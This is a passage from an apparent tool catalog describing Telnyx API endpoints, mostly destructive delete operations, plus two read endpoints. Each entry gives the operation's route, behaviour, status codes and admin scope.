Soft-deletes (status → removed; tombstone retained). A removed audit event is appended unless the block was already removed (idempotent — returns the existing row with 200 and no new event). Mutates updated_at. [Email Suppressions] via DELETE /email_blocks/{id} DELETE /api/v1/telnyx/email_blocks/{id}. Scopes: admin. telnyx_delete_email_domains_by_domain_id_webhooks_by_id (write, destructive) — Deletes the webhook subscription identified by ID within the specified email domain and returns the deleted subscription. [Email Webhooks] via DELETE /email_domains/{domain_id}/webhooks/{id} DELETE /api/v1/telnyx/email_domains/{domain_id}/webhooks/{id}. Scopes: admin. telnyx_delete_email_domains_by_id (write, destructive) — Deletes an email domain configuration. Verified domains require force=true, and shared domains are read-only for non-owner accounts. [Email Domains] via DELETE /email_domains/{id} DELETE /api/v1/telnyx/email_domains/{id}. Scopes: admin. telnyx_delete_email_inboxes_by_id (write, destructive) — Soft-deletes an account-scoped inbox. Its address remains reserved and the inbox is no longer returned by list or get operations. [Email Inboxes] via DELETE /email_inboxes/{id} DELETE /api/v1/telnyx/email_inboxes/{id}. Scopes: admin. telnyx_delete_email_inboxes_by_inbox_id_drafts_by_draft_id (write, destructive) — Permanently deletes an unsent draft. Drafts that are being sent or have been sent cannot be deleted; sent drafts are retained for audit. [Email Drafts] via DELETE /email_inboxes/{inbox_id}/drafts/{draft_id} DELETE /api/v1/telnyx/email_inboxes/{inbox_id}/drafts/{draft_id}. Scopes: admin. telnyx_delete_email_inboxes_by_inbox_id_filters (write, destructive) — Removes entries from either the allowlist or blocklist. The operation is idempotent: removing an entry that is not present still returns the current filter lists. [Email Inboxes] via DELETE /email_inboxes/{inbox_id}/filters DELETE /api/v1/telnyx/email_inboxes/{inbox_id}/filters. Scopes: admin. telnyx_delete_email_inboxes_by_inbox_id_messages_by_message_id_labels (write, destructive) — Removes one or more labels from a message. Idempotent — removing a label the message does not carry is a no-op and still returns 200. Removal is case-sensitive. [Email Inboxes] via DELETE /email_inboxes/{inbox_id}/messages/{message_id}/labels DELETE /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/labels. Scopes: admin. telnyx_delete_email_inboxes_by_inbox_id_threads_by_thread_id_labels (write, destructive) — Removes one or more labels from a thread. Idempotent — removing a label the thread does not carry is a no-op and still returns 200. [Email Inboxes] via DELETE /email_inboxes/{inbox_id}/threads/{thread_id}/labels DELETE /api/v1/telnyx/email_inboxes/{inbox_id}/threads/{thread_id}/labels. Scopes: admin. telnyx_delete_email_messages (write, destructive) — Permanently deletes every email in the authenticated account sent from or to the supplied address, including retained events whose parent message has expired. Events and durable recipients are deleted immediately with each message. The operation never searches or reports matches in another account. The legacy /v2/emails DELETE route is a backward-compatible alias. [Email Messages] via DELETE /email_messages DELETE /api/v1/telnyx/email_messages. Scopes: admin. telnyx_delete_email_messages_by_email_id_schedule (write, destructive) — Cancels a scheduled email and returns it with status cancelled. The legacy /v2/emails/{id}/schedule DELETE route is an alias. [Email Messages] via DELETE /email_messages/{email_id}/schedule DELETE /api/v1/telnyx/email_messages/{email_id}/schedule. Scopes: admin. telnyx_delete_email_messages_by_id (write, destructive) — Permanently deletes an account-scoped email message, its events, its durable recipients, and unshared attachment objects. Returns 404 when the message does not exist in the authenticated account. The legacy /v2/emails/{id} DELETE route is a backward-compatible alias. [Email Messages] via DELETE /email_messages/{id} DELETE /api/v1/telnyx/email_messages/{id}. Scopes: admin. telnyx_delete_email_templates_by_id (write, destructive) — Deletes the account-owned template. The operation returns 204 with no body and prevents future sends or renders from using the deleted template ID. [Email Templates] via DELETE /email_templates/{id} DELETE /api/v1/telnyx/email_templates/{id}. Scopes: admin. telnyx_delete_email_unsubscribe_groups_by_id (write, destructive) — If the group has 0 active suppressions, hard-deletes the row. With force=true, soft-deletes all active suppressions first (status → removed, group_id cleared, removed audit event per block) in a single transaction, then hard-deletes the group. Without force and active suppressions present → 409. Audit trail is preserved. force only accepts the string "true" or boolean true; all other values are false. [Email Unsubscribe Groups] via DELETE /email_unsubscribe_groups/{id} DELETE /api/v1/telnyx/email_unsubscribe_groups/{id}. Scopes: admin. telnyx_delete_email_unsubscribe_groups_by_id_suppressions_by_email (write, destructive) — Soft-deletes all active blocks for (account, group, normalized email) — one removed audit event per block (actor: manual). The email path segment is normalized (trim + lower-case) before matching. Idempotent on already-removed rows (returns 404 since they're no longer active). Two distinct 404 cases: a missing/cross-account group returns 10001 "The requested unsubscribe group was not found"; a group that exists but has no active suppression for that email returns 10001 "The requested group suppression was not found". [Email Unsubscribe Groups] via DELETE /email_unsubscribe_groups/{id}/suppressions/{email} DELETE /api/v1/telnyx/email_unsubscribe_groups/{id}/suppressions/{email}. Scopes: admin. telnyx_delete_enterprises_by_enterprise_id (write, destructive) — Soft-delete an enterprise. Failure modes: - 400 - the enterprise still has dependent resources in a non-deletable state. Remove those first; the response detail identifies what is blocking the delete. - 409 - the enterprise has a dependent resource with an unresolved claim. Resolve it before deleting. - 404 - the enterprise does not exist or does not belong to your account. [Enterprises] via DELETE /enterprises/{enterprise_id} DELETE /api/v1/telnyx/enterprises/{enterprise_id}. Scopes: admin. telnyx_delete_enterprises_by_enterprise_id_reputation (write, destructive) — Disable Phone Number Reputation. All registered numbers are de-registered as a cascade. The enterprise itself is unaffected. Returns 204 on success, 404 if reputation is not enabled for this enterprise. [Reputation] via DELETE /enterprises/{enterprise_id}/reputation DELETE /api/v1/telnyx/enterprises/{enterprise_id}/reputation. Scopes: admin. telnyx_delete_enterprises_by_enterprise_id_reputation_numbers_by_phone_number (write, destructive) — Stop tracking the reputation of this phone number. The number itself remains in your inventory; only the reputation registration is removed. [Reputation] via DELETE /enterprises/{enterprise_id}/reputation/numbers/{phone_number} DELETE /api/v1/telnyx/enterprises/{enterprise_id}/reputation/numbers/{phone_number}. Scopes: admin. telnyx_delete_external_connections_by_id (write, destructive) — Permanently deletes an External Connection. Deletion may be prevented if the application is in use by phone numbers, is active, or if it is an Operator Connect connection. To remove an Operator Connect integration please contact Telnyx support. [External Connections] via DELETE /external_connections/{id} DELETE /api/v1/telnyx/external_connections/{id}. Scopes: admin. telnyx_delete_external_connections_log_messages_by_id (write, destructive) — Dismiss a log message for an external connection associated with your account. [External Connections] via DELETE /external_connections/log_messages/{id} DELETE /api/v1/telnyx/external_connections/log_messages/{id}. Scopes: admin. telnyx_delete_fax_applications_by_id (write, destructive) — Permanently deletes a Fax Application. Deletion may be prevented if the application is in use by phone numbers. [Programmable Fax Applications] via DELETE /fax_applications/{id} DELETE /api/v1/telnyx/fax_applications/{id}. Scopes: admin. telnyx_delete_faxes_by_id (write, destructive) — Delete a fax resource from your account. [Programmable Fax Commands] via DELETE /faxes/{id} DELETE /api/v1/telnyx/faxes/{id}. Scopes: admin. telnyx_delete_fqdn_connections_by_id (write, destructive) — Permanently deletes the specified FQDN connection from your account. [FQDN Connections] via DELETE /fqdn_connections/{id} DELETE /api/v1/telnyx/fqdn_connections/{id}. Scopes: admin. telnyx_delete_fqdns_by_id (write, destructive) — Permanently deletes the specified FQDN record from its connection. [FQDNs] via DELETE /fqdns/{id} DELETE /api/v1/telnyx/fqdns/{id}. Scopes: admin. telnyx_delete_global_ip_assignments_by_id (write, destructive) — Deletes the specified Global IP assignment, detaching the Global IP from its WireGuard peer. [Global IPs] via DELETE /global_ip_assignments/{id} DELETE /api/v1/telnyx/global_ip_assignments/{id}. Scopes: admin. telnyx_delete_global_ip_health_checks_by_id (write, destructive) — Deletes the specified Global IP health check so it no longer monitors the Global IP's assignments. [Global IPs] via DELETE /global_ip_health_checks/{id} DELETE /api/v1/telnyx/global_ip_health_checks/{id}. Scopes: admin. telnyx_delete_global_ips_by_id (write, destructive) — Deletes the specified Global IP and releases its address back to Telnyx. [Global IPs] via DELETE /global_ips/{id} DELETE /api/v1/telnyx/global_ips/{id}. Scopes: admin. telnyx_delete_integration_secrets_by_id (write, destructive) — Delete an integration secret given its ID. [Integration Secrets] via DELETE /integration_secrets/{id} DELETE /api/v1/telnyx/integration_secrets/{id}. Scopes: admin. telnyx_delete_ip_connections_by_id (write, destructive) — Permanently deletes the specified IP connection from your account. [IP Connections] via DELETE /ip_connections/{id} DELETE /api/v1/telnyx/ip_connections/{id}. Scopes: admin. telnyx_delete_ips_by_id (write, destructive) — Permanently deletes the specified IP record from its connection. [IPs] via DELETE /ips/{id} DELETE /api/v1/telnyx/ips/{id}. Scopes: admin. telnyx_delete_legacy_reporting_batch_detail_records_messaging_by_id (write, destructive) — Deletes a specific MDR detailed report request by ID [MDR Detailed Reports] via DELETE /legacy_reporting/batch_detail_records/messaging/{id} DELETE /api/v1/telnyx/legacy_reporting/batch_detail_records/messaging/{id}. Scopes: admin. telnyx_delete_legacy_reporting_batch_detail_records_speech_to_text_by_id (write, destructive) — Deletes a specific Speech to Text batch report request by ID [Speech to Text Batch Reports] via DELETE /legacy/reporting/batch_detail_records/speech_to_text/{id} DELETE /api/v1/telnyx/legacy/reporting/batch_detail_records/speech_to_text/{id}. Scopes: admin. telnyx_delete_legacy_reporting_batch_detail_records_voice_by_id (write, destructive) — Deletes a specific CDR report request by ID [CDR Reports] via DELETE /legacy_reporting/batch_detail_records/voice/{id} DELETE /api/v1/telnyx/legacy_reporting/batch_detail_records/voice/{id}. Scopes: admin. telnyx_delete_legacy_reporting_usage_reports_messaging_by_id (write, destructive) — Deletes a specific V2 legacy usage MDR report request by ID [MDR Usage Reports] via DELETE /legacy_reporting/usage_reports/messaging/{id} DELETE /api/v1/telnyx/legacy_reporting/usage_reports/messaging/{id}. Scopes: admin. telnyx_delete_legacy_reporting_usage_reports_number_lookup_by_id (write, destructive) — Delete a specific telco data usage report by its ID [Telco Data Usage Reports] via DELETE /legacy_reporting/usage_reports/number_lookup/{id} DELETE /api/v1/telnyx/legacy_reporting/usage_reports/number_lookup/{id}. Scopes: admin. telnyx_delete_legacy_reporting_usage_reports_voice_by_id (write, destructive) — Deletes a specific V2 legacy usage CDR report request by ID [CDR Usage Reports] via DELETE /legacy_reporting/usage_reports/voice/{id} DELETE /api/v1/telnyx/legacy_reporting/usage_reports/voice/{id}. Scopes: admin. telnyx_delete_media_by_media_name (write, destructive) — Permanently deletes the specified media file from storage. [Media Storage API] via DELETE /media/{media_name} DELETE /api/v1/telnyx/media/{media_name}. Scopes: admin. telnyx_delete_meeting_sessions_by_id (write, destructive) — Stops a meeting session without deleting its persisted record. Scheduled bots are cancelled, while bots that are joining or active are asked to leave. The persisted meeting session record remains available. [Meeting Sessions] via DELETE /meeting_sessions/{id} DELETE /api/v1/telnyx/meeting_sessions/{id}. Scopes: admin. telnyx_delete_meeting_sessions_by_id_recording_media (write, destructive) — Not yet available in production — this route is not currently routed on api.telnyx.com and returns a generic 404; it is documented ahead of rollout. Irreversibly requests deletion of provider-hosted aggregate recording media under the provider contract. The operation retains the Telnyx-local Meeting session, transcript segments, events, artifacts, and usage records. It is separate from DELETE /meeting_sessions/{id}, which stops or cancels participation without deleting the persisted session. A missing/foreign session returns 404; provider deletion failures return 502. [Meeting Session Data] via DELETE /meeting_sessions/{id}/recording_media DELETE /api/v1/telnyx/meeting_sessions/{id}/recording_media. Scopes: admin. telnyx_delete_messages_by_id (write, destructive) — Cancel a scheduled message that has not yet been sent. Only messages with status=scheduled and send_at more than a minute from now can be cancelled. [Messages] via DELETE /messages/{id} DELETE /api/v1/telnyx/messages/{id}. Scopes: admin. telnyx_delete_messaging_hosted_number_orders_by_id (write, destructive) — Delete a messaging hosted number order and all associated phone numbers. [Hosted Numbers] via DELETE /messaging_hosted_number_orders/{id} DELETE /api/v1/telnyx/messaging_hosted_number_orders/{id}. Scopes: admin. telnyx_delete_messaging_hosted_numbers_by_id (write, destructive) — Removes the specified hosted number from Telnyx messaging management. [Hosted Numbers] via DELETE /messaging_hosted_numbers/{id} DELETE /api/v1/telnyx/messaging_hosted_numbers/{id}. Scopes: admin. telnyx_delete_messaging_profiles_by_id (write, destructive) — Deletes the specified messaging profile and returns the profile's final configuration. [Profiles] via DELETE /messaging_profiles/{id} DELETE /api/v1/telnyx/messaging_profiles/{id}. Scopes: admin. telnyx_delete_messaging_profiles_by_profile_id_autoresp_configs_by_autoresp_cfg_id (write, destructive) — Deletes the specified auto-response rule from the messaging profile. [Opt-Out Management] via DELETE /messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id} DELETE /api/v1/telnyx/messaging_profiles/{profile_id}/autoresp_configs/{autoresp_cfg_id}. Scopes: admin. telnyx_delete_messaging_tollfree_verification_requests_by_id (write, destructive) — Delete a verification request A request may only be deleted when when the request is in the "rejected" state. * HTTP 200: request successfully deleted * HTTP 400: request exists but can't be deleted (i.e. not rejected) * HTTP 404: request unknown or already deleted [Verification Requests] via DELETE /messaging_tollfree/verification/requests/{id} DELETE /api/v1/telnyx/messaging_tollfree/verification/requests/{id}. Scopes: admin. telnyx_delete_mobile_push_credentials_by_push_credential_id (write, destructive) — Deletes a mobile push credential based on the given push_credential_id [Push Credentials] via DELETE /mobile_push_credentials/{push_credential_id} DELETE /api/v1/telnyx/mobile_push_credentials/{push_credential_id}. Scopes: admin. telnyx_delete_networks_by_id (write, destructive) — Permanently deletes the specified network from your account. [Networks] via DELETE /networks/{id} DELETE /api/v1/telnyx/networks/{id}. Scopes: admin. telnyx_delete_networks_by_id_default_gateway (write, destructive) — Removes the default gateway from the specified network. [Networks] via DELETE /networks/{id}/default_gateway DELETE /api/v1/telnyx/networks/{id}/default_gateway. Scopes: admin. telnyx_delete_notification_channels_by_id (write, destructive) — Deletes the specified notification channel so notifications are no longer delivered to it. [Notifications] via DELETE /notification_channels/{id} DELETE /api/v1/telnyx/notification_channels/{id}. Scopes: admin. telnyx_delete_notification_profiles_by_id (write, destructive) — Deletes the specified notification profile from your account. [Notifications] via DELETE /notification_profiles/{id} DELETE /api/v1/telnyx/notification_profiles/{id}. Scopes: admin. telnyx_delete_notification_settings_by_id (write, destructive) — Deletes the specified notification setting, disabling that notification delivery. [Notifications] via DELETE /notification_settings/{id} DELETE /api/v1/telnyx/notification_settings/{id}. Scopes: admin. telnyx_delete_oauth_clients_by_id (write, destructive) — Permanently deletes the specified OAuth client from your account. [OAuth Clients] via DELETE /oauth_clients/{id} DELETE /api/v1/telnyx/oauth_clients/{id}. Scopes: admin. telnyx_delete_oauth_grants_by_id (write, destructive) — Revokes the specified OAuth grant, withdrawing the access previously granted to the client. [OAuth Grants] via DELETE /oauth_grants/{id} DELETE /api/v1/telnyx/oauth_grants/{id}. Scopes: admin. telnyx_delete_outbound_voice_profiles_by_id (write, destructive) — Deletes an existing outbound voice profile. [Outbound Voice Profiles] via DELETE /outbound_voice_profiles/{id} DELETE /api/v1/telnyx/outbound_voice_profiles/{id}. Scopes: admin. telnyx_delete_phone_numbers_by_id (write, destructive) — Deletes the specified phone number from the account. The response contains the phone number's final deleted representation. [Phone Number Configurations] via DELETE /phone_numbers/{id} DELETE /api/v1/telnyx/phone_numbers/{id}. Scopes: admin. telnyx_delete_porting_loa_configurations_by_id (write, destructive) — Permanently deletes the specified LOA configuration so it can no longer be used when generating LOA documents. [Porting Orders] via DELETE /porting/loa_configurations/{id} DELETE /api/v1/telnyx/porting/loa_configurations/{id}. Scopes: admin. telnyx_delete_porting_orders_by_id (write, destructive) — Deletes an existing porting order. This operation is restrict to porting orders in draft state. [Porting Orders] via DELETE /porting_orders/{id} DELETE /api/v1/telnyx/porting_orders/{id}. Scopes: admin. telnyx_delete_porting_orders_by_id_additional_documents_by_additional_document_id (write, destructive) — Deletes an additional document for a porting order. [Porting Orders] via DELETE /porting_orders/{id}/additional_documents/{additional_document_id} DELETE /api/v1/telnyx/porting_orders/{id}/additional_documents/{additional_document_id}. Scopes: admin. telnyx_delete_porting_orders_by_porting_order_id_associated_phone_numbers_by_id (write, destructive) — Deletes an associated phone number from a porting order. [Porting Orders] via DELETE /porting_orders/{porting_order_id}/associated_phone_numbers/{id} DELETE /api/v1/telnyx/porting_orders/{porting_order_id}/associated_phone_numbers/{id}. Scopes: admin. telnyx_delete_porting_orders_by_porting_order_id_phone_number_blocks_by_id (write, destructive) — Deletes the specified phone number block from the porting order. [Porting Orders] via DELETE /porting_orders/{porting_order_id}/phone_number_blocks/{id} DELETE /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_blocks/{id}. Scopes: admin. telnyx_delete_porting_orders_by_porting_order_id_phone_number_extensions_by_id (write, destructive) — Deletes the specified phone number extension from the porting order. [Porting Orders] via DELETE /porting_orders/{porting_order_id}/phone_number_extensions/{id} DELETE /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_extensions/{id}. Scopes: admin. telnyx_delete_private_wireless_gateways_by_id (write, destructive) — Permanently deletes the specified Private Wireless Gateway from your account. [Private Wireless Gateways] via DELETE /private_wireless_gateways/{id} DELETE /api/v1/telnyx/private_wireless_gateways/{id}. Scopes: admin. telnyx_delete_pronunciation_dicts_by_id (write, destructive) — Permanently delete a pronunciation dictionary. [Pronunciation Dictionaries] via DELETE /pronunciation_dicts/{id} DELETE /api/v1/telnyx/pronunciation_dicts/{id}. Scopes: admin. telnyx_delete_public_internet_gateways_by_id (write, destructive) — Deletes the specified public internet gateway, removing internet egress through it. [Public Internet Gateways] via DELETE /public_internet_gateways/{id} DELETE /api/v1/telnyx/public_internet_gateways/{id}. Scopes: admin. telnyx_delete_queues_by_queue_name (write, destructive) — Permanently deletes the specified call queue from your account. [Queue Commands] via DELETE /queues/{queue_name} DELETE /api/v1/telnyx/queues/{queue_name}. Scopes: admin. telnyx_delete_queues_by_queue_name_calls_by_call_control_id (write, destructive) — Removes an inactive call from a queue. If the call is no longer active, use this command to remove it from the queue. [Queue Commands] via DELETE /queues/{queue_name}/calls/{call_control_id} DELETE /api/v1/telnyx/queues/{queue_name}/calls/{call_control_id}. Scopes: admin. telnyx_delete_rcs_agents_by_id_test_devices_by_test_device_id (write, destructive) — Removes a test device from an RCS agent and its provider registration. [RCS Agents] via DELETE /rcs/agents/{id}/test_devices/{test_device_id} DELETE /api/v1/telnyx/rcs/agents/{id}/test_devices/{test_device_id}. Scopes: admin. telnyx_delete_recording_transcriptions_by_recording_transcription_id (write, destructive) — Permanently deletes a recording transcription. [Call Recordings] via DELETE /recording_transcriptions/{recording_transcription_id} DELETE /api/v1/telnyx/recording_transcriptions/{recording_transcription_id}. Scopes: admin. telnyx_delete_recordings_by_recording_id (write, destructive) — Permanently deletes the specified call recording and returns the deleted recording resource. The media is removed and can no longer be downloaded. [Call Recordings] via DELETE /recordings/{recording_id} DELETE /api/v1/telnyx/recordings/{recording_id}. Scopes: admin. telnyx_delete_reports_mdr_usage_reports_by_id (write, destructive) — Permanently deletes the specified messaging usage report by its identifier. [MDR Usage Reports] via DELETE /reports/mdr_usage_reports/{id} DELETE /api/v1/telnyx/reports/mdr_usage_reports/{id}. Scopes: admin. telnyx_delete_reputation_numbers_by_phone_number (write, destructive) — Convenience alias for DELETE /v2/enterprises/{enterprise_id}/reputation/numbers/{phone_number}. [Reputation] via DELETE /reputation/numbers/{phone_number} DELETE /api/v1/telnyx/reputation/numbers/{phone_number}. Scopes: admin. telnyx_delete_requirement_groups_by_id (write, destructive) — Deletes the regulatory requirement group identified by id. The response contains the deleted requirement-group representation. [Requirement Groups] via DELETE /requirement_groups/{id} DELETE /api/v1/telnyx/requirement_groups/{id}. Scopes: admin. telnyx_delete_requirements_by_id_versions_pending (write, destructive) — Cancel a pending requirement version. The pending version is marked as cancelled and the previously active version is restored with effective_end_at set to NULL. [Requirements] via DELETE /requirements/{id}/versions/pending DELETE /api/v1/telnyx/requirements/{id}/versions/pending. Scopes: admin. telnyx_delete_room_compositions_by_room_composition_id (write, destructive) — Synchronously delete a room composition. [Room Compositions] via DELETE /room_compositions/{room_composition_id} DELETE /api/v1/telnyx/room_compositions/{room_composition_id}. Scopes: admin. telnyx_delete_room_recordings (write, destructive) — Deletes the room recordings that match the supplied filters and returns the number of recordings affected. Filters support room, session, participant, recording type, status, duration, and start or end dates. [Room Recordings] via DELETE /room_recordings DELETE /api/v1/telnyx/room_recordings. Scopes: admin. telnyx_delete_room_recordings_by_room_recording_id (write, destructive) — Synchronously deletes the specified video room recording. The recording's media is removed permanently. [Room Recordings] via DELETE /room_recordings/{room_recording_id} DELETE /api/v1/telnyx/room_recordings/{room_recording_id}. Scopes: admin. telnyx_delete_rooms_by_room_id (write, destructive) — Synchronously delete a Room. Participants from that room will be kicked out, they won't be able to join that room anymore, and you won't be charged anymore for that room. [Rooms] via DELETE /rooms/{room_id} DELETE /api/v1/telnyx/rooms/{room_id}. Scopes: admin. telnyx_delete_sim_card_data_usage_notifications_by_id (write, destructive) — Delete the SIM Card Data Usage Notification. [SIM Cards] via DELETE /sim_card_data_usage_notifications/{id} DELETE /api/v1/telnyx/sim_card_data_usage_notifications/{id}. Scopes: admin. telnyx_delete_sim_card_groups_by_id (write, destructive) — Permanently deletes the specified SIM card group from your account. [SIM Card Groups] via DELETE /sim_card_groups/{id} DELETE /api/v1/telnyx/sim_card_groups/{id}. Scopes: admin. telnyx_delete_sim_cards_by_id (write, destructive) — The SIM card will be decommissioned, removed from your account and you will stop being charged. The SIM card won't be able to connect to the network after the deletion is completed, thus making it impossible to consume data. Transitioning to the disabled state may take a period of time. Until the transition is completed, the SIM card status will be disabling disabling . In order to re-enable the SIM card, you will need to re-register it. [SIM Cards] via DELETE /sim_cards/{id} DELETE /api/v1/telnyx/sim_cards/{id}. Scopes: admin. telnyx_delete_siprec_connectors_by_connector_name (write, destructive) — Deletes the stored SIPREC connector with the specified connector name. [SIPREC Connectors] via DELETE /siprec_connectors/{connector_name} DELETE /api/v1/telnyx/siprec_connectors/{connector_name}. Scopes: admin. telnyx_delete_storage_buckets_by_bucketname_ssl_certificate (write, destructive) — Deletes an SSL certificate and its matching secret. [Bucket SSL Certificate] via DELETE /storage/buckets/{bucketName}/ssl_certificate DELETE /api/v1/telnyx/storage/buckets/{bucketName}/ssl_certificate. Scopes: admin. telnyx_delete_storage_cloudfs_by_id (write, destructive) — Permanently deletes a CloudFS filesystem, removing its S3 bucket and its metadata database. Deletion is synchronous: the response returns the filesystem's final state with status deleted. There is no restore. A filesystem that is still provisioning returns a 409. If the filesystem still contains data, the request may be rejected with a 409 — drain the bucket and retry. [cloudfs filesystems] via DELETE /storage/cloudfs/{id} DELETE /api/v1/telnyx/storage/cloudfs/{id}. Scopes: admin. telnyx_delete_storage_kvs_by_id (write, destructive) — Deletes a KV namespace and all of the keys it contains. Deletion is asynchronous: the namespace is returned with status deleting. Deleting a namespace whose deletion is already in progress returns a 409. [kv namespaces] via DELETE /storage/kvs/{id} DELETE /api/v1/telnyx/storage/kvs/{id}. Scopes: admin. telnyx_delete_storage_kvs_by_id_keys_by_key (write, destructive) — Deletes a key. Idempotent: deleting a key that does not exist still succeeds. The namespace itself must exist and be provisioned. [kv keys] via DELETE /storage/kvs/{id}/keys/{key} DELETE /api/v1/telnyx/storage/kvs/{id}/keys/{key}. Scopes: admin. telnyx_delete_storage_migration_sources_by_id (write, destructive) — Delete a migration source configuration. [Data Migration] via DELETE /storage/migration_sources/{id} DELETE /api/v1/telnyx/storage/migration_sources/{id}. Scopes: admin. telnyx_delete_storage_sqldbs_by_id (write, destructive) — Deletes a SQL database and all of the data it holds. Deletion is asynchronous and returns 202 with an empty body — the record is not removed synchronously. Poll GET /storage/sqldbs/{id}, which returns 404 once the database has been purged; there is no durable deleted state. A database still bound by a function is refused with 409 unless force=true. [sql databases] via DELETE /storage/sqldbs/{id} DELETE /api/v1/telnyx/storage/sqldbs/{id}. Scopes: admin. telnyx_delete_telephony_credentials_by_id (write, destructive) — Permanently deletes the specified telephony credential, revoking any access it provided. [Credentials] via DELETE /telephony_credentials/{id} DELETE /api/v1/telnyx/telephony_credentials/{id}. Scopes: admin. telnyx_delete_texml_accounts_by_account_sid_conferences_by_conference_sid_participants_by_call_sid_or_participant_label (write, destructive) — Removes the specified participant from the conference, ending their leg of the call. [TeXML REST Commands] via DELETE /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label} DELETE /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants/{call_sid_or_participant_label}. Scopes: admin. telnyx_delete_texml_accounts_by_account_sid_queues_by_queue_sid (write, destructive) — Permanently deletes the specified queue resource from the account. [TeXML REST Commands] via DELETE /texml/Accounts/{account_sid}/Queues/{queue_sid} DELETE /api/v1/telnyx/texml/Accounts/{account_sid}/Queues/{queue_sid}. Scopes: admin. telnyx_delete_texml_accounts_by_account_sid_recordings_by_recording_sid_json (write, destructive) — Deletes recording resource identified by recording id. [TeXML REST Commands] via DELETE /texml/Accounts/{account_sid}/Recordings/{recording_sid}.json DELETE /api/v1/telnyx/texml/Accounts/{account_sid}/Recordings/{recording_sid}.json. Scopes: admin. telnyx_delete_texml_accounts_by_account_sid_transcriptions_by_recording_transcription_sid_json (write, destructive) — Permanently deletes a recording transcription. [TeXML REST Commands] via DELETE /texml/Accounts/{account_sid}/Transcriptions/{recording_transcription_sid}.json DELETE /api/v1/telnyx/texml/Accounts/{account_sid}/Transcriptions/{recording_transcription_sid}.json. Scopes: admin. telnyx_delete_texml_applications_by_id (write, destructive) — Permanently deletes the specified TeXML application from your account. [TeXML Applications] via DELETE /texml_applications/{id} DELETE /api/v1/telnyx/texml_applications/{id}. Scopes: admin. telnyx_delete_traffic_policy_profiles_by_id (write, destructive) — Permanently deletes the specified traffic policy profile from your account. [Traffic Policy Profiles] via DELETE /traffic_policy_profiles/{id} DELETE /api/v1/telnyx/traffic_policy_profiles/{id}. Scopes: admin. telnyx_delete_uac_connections_by_id (write, destructive) — Permanently deletes the specified UAC connection from your account. [UAC Connections] via DELETE /uac_connections/{id} DELETE /api/v1/telnyx/uac_connections/{id}. Scopes: admin. telnyx_delete_v2_mobile_voice_connections_by_id (write, destructive) — Delete a mobile voice connection from your account. [Mobile Voice Connections] via DELETE /mobile_voice_connections/{id} DELETE /api/v1/telnyx/mobile_voice_connections/{id}. Scopes: admin. telnyx_delete_verified_numbers_by_phone_number (write, destructive) — Remove a verified number from your account. [Verified Numbers] via DELETE /verified_numbers/{phone_number} DELETE /api/v1/telnyx/verified_numbers/{phone_number}. Scopes: admin. telnyx_delete_verify_profiles_by_verify_profile_id (write, destructive) — Deletes the specified Verify profile and returns the deleted profile record. [Verify] via DELETE /verify_profiles/{verify_profile_id} DELETE /api/v1/telnyx/verify_profiles/{verify_profile_id}. Scopes: admin. telnyx_delete_virtual_cross_connects_by_id (write, destructive) — Deletes the specified virtual cross connect from your account. [Virtual Cross Connects] via DELETE /virtual_cross_connects/{id} DELETE /api/v1/telnyx/virtual_cross_connects/{id}. Scopes: admin. telnyx_delete_voice_clones_by_id (write, destructive) — Permanently deletes a voice clone. This action cannot be undone. [Voice Clones] via DELETE /voice_clones/{id} DELETE /api/v1/telnyx/voice_clones/{id}. Scopes: admin. telnyx_delete_voice_designs_by_id (write, destructive) — Permanently deletes a voice design and all of its versions. This action cannot be undone. [Voice Designs] via DELETE /voice_designs/{id} DELETE /api/v1/telnyx/voice_designs/{id}. Scopes: admin. telnyx_delete_voice_designs_by_id_versions_by_version (write, destructive) — Permanently deletes a specific version of a voice design. The version number must be a positive integer. [Voice Designs] via DELETE /voice_designs/{id}/versions/{version} DELETE /api/v1/telnyx/voice_designs/{id}/versions/{version}. Scopes: admin. telnyx_delete_whatsapp_business_accounts_by_id (write, destructive) — Delete a WhatsApp Business Account connection from your Telnyx account. [Whatsapp Business Accounts] via DELETE /whatsapp/business_accounts/{id} DELETE /api/v1/telnyx/whatsapp/business_accounts/{id}. Scopes: admin. telnyx_delete_whatsapp_message_templates_by_id (write, destructive) — Permanently deletes the specified WhatsApp message template from your account. [Whatsapp Message Templates] via DELETE /whatsapp/message_templates/{id} DELETE /api/v1/telnyx/whatsapp/message_templates/{id}. Scopes: admin. telnyx_delete_whatsapp_phone_numbers_by_phone_number (write, destructive) — Delete a phone number's WhatsApp registration from your account. [Whatsapp Phone Numbers] via DELETE /whatsapp/phone_numbers/{phone_number} DELETE /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}. Scopes: admin. telnyx_delete_whatsapp_phone_numbers_by_phone_number_profile_photo (write, destructive) — Delete the profile photo of a WhatsApp phone number. [Whatsapp Phone Numbers] via DELETE /whatsapp/phone_numbers/{phone_number}/profile/photo DELETE /api/v1/telnyx/whatsapp/phone_numbers/{phone_number}/profile/photo. Scopes: admin. telnyx_delete_wireguard_interfaces_by_id (write, destructive) — Deletes the specified WireGuard interface from its network. [WireGuard Interfaces] via DELETE /wireguard_interfaces/{id} DELETE /api/v1/telnyx/wireguard_interfaces/{id}. Scopes: admin. telnyx_delete_wireguard_peers_by_id (write, destructive) — Deletes the specified WireGuard peer from its interface. [WireGuard Interfaces] via DELETE /wireguard_peers/{id} DELETE /api/v1/telnyx/wireguard_peers/{id}. Scopes: admin. telnyx_delete_wireless_blocklists_by_id (write, destructive) — Permanently deletes the specified wireless blocklist from your account. [Wireless Blocklists] via DELETE /wireless_blocklists/{id} DELETE /api/v1/telnyx/wireless_blocklists/{id}. Scopes: admin. telnyx_delete_wireless_detail_records_reports_by_id (write, destructive) — Permanently deletes the specified Wireless Detail Record (WDR) report. [Reporting] via DELETE /wireless/detail_records_reports/{id} DELETE /api/v1/telnyx/wireless/detail_records_reports/{id}. Scopes: admin. telnyx_get_10dlc_brand (read) — This endpoint is used to list all brands associated with your organization. [Brands] via GET /10dlc/brand GET /api/v1/telnyx/10dlc/brand. Scopes: admin. telnyx_get_10dlc_brand_by_brandid (read) — Returns the details of a 10DLC brand by its brandId, including the count of campaigns associated with the brand. [Brands] via GET /10dlc/brand/{brandId} GET /api/v1/telnyx/10dlc/brand/{brandId}. Scopes: admin. 